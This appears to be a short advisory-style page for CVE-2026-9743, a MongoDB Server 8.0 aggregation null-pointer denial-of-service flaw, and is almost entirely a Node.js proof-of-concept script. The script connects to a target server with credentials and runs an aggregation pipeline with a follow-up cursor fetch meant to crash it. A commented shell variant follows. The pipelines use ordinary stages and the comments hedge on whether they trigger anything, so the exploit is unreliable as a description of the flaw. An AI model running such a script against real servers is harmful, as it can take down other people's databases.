CVE-2026-9743 MongoDB Server 8.0 聚合管道空指针引用拒绝服务漏洞

// CVE-2026-9743 PoC - MongoDB Server 8.0 Null Pointer Dereference // Requires valid authentication and aggregation execution privileges const { MongoClient } = require('mongodb'); async function exploitCVE20269743() { const uri = 'mongodb://username:password@target:27017/admin'; const client = new MongoClient(uri); try { await client.connect(); const db = client.db('test'); // Create a cursor with specially crafted aggregation pipeline // The _subPipeline field becomes null during processing const pipeline = [ { $match: { field: 'trigger_condition' } }, { $group: { _id: '$category', count: { $sum: 1 } } }, // Additional stages that may cause _subPipeline to be null { $project: { result: '$_id' } } ]; // Execute aggregation and get cursor const cursor = db.collection('vulnerable_collection').aggregate(pipeline, { allowDiskUse: true, batchSize: 1 }); // Trigger getMore to dereference null _subPipeline await cursor.hasNext(); console.log('PoC executed - if vulnerable, server may crash'); } catch (error) { console.error('Error:', error.message); } finally { await client.close(); } } exploitCVE20269743(); // Alternative: Direct MongoDB shell command // db.collection.aggregate([ // { $match: { status: 'active' } }, // { $lookup: { from: 'other', localField: 'id', foreignField: 'ref', as: 'joined' } }, // { $unwind: '$joined' }, // { $group: { _id: '$joined.type', total: { $sum: '$value' } } } // ], { allowDiskUse: true }).toArray() // db.collection.find().sort({_id: -1}).limit(1).toArray() // getMore trigger